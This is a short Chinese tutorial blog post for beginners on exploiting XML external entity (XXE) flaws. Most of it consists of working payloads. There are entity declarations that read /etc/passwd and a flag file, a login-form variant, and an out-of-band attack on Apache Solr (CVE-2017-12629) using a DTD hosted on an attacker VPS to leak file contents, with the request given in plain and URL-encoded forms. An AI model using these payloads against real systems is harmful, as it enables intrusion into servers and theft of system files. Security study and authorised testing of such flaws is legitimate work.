萌新XXE漏洞实战类型

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞越来越少。如果你进行信息收集,从一个网站发现它嵌入了libxml2.9.0以下的版本,又或者你在抓包的时候,发现某处提交的数据是一个xml实体,那么就可以测试一波xxe漏洞。

例如 phpinfo 搜索libxml

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

就可以直接构造payload 发包打过去。

还有一种是登录口。

 

抓包发现是实体里面有数据的传输

<?xml version="1.0" encoding="UTF-8"?><root> <username>root</username> <password>root</password> </root>

记住,这个时候就要构造payload了, 因为你要匹配关键字 username 和password 否则其他的payload是不行的。payload

 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root[

<!ENTITY admin SYSTEM "file:///flag">

]>

<root> 

<username>&admin;</username> 

<password>123456</password> 

</root>

 

另一种就是解析外部实体了,

比如CVE-2017-12629-xxe

在一台VPS上 开启web服务 将1.dtd放入到WWW目录 ,并写入如下内容:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>"> 

payload

GET /solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://ip/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser 

并对参数q的值进行URL编码

GET /solr/demo/select?&q=%3c%3fxml%20version%3d%221.0%22%20%3f%3e%3c!DOCTYPE%20root%5b%3c!ENTITY%20%25%20ext%20SYSTEM%20%22http%3a%2f%2fip%2f1.dtd%22%3e%25ext%3b%25ent%3b%5d%3e%3cr%3e%26data%3b%3c%2fr%3e&wt=xml&defType=xmlparser 

 

 如果觉得有哪些是不懂的,可以私信我。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值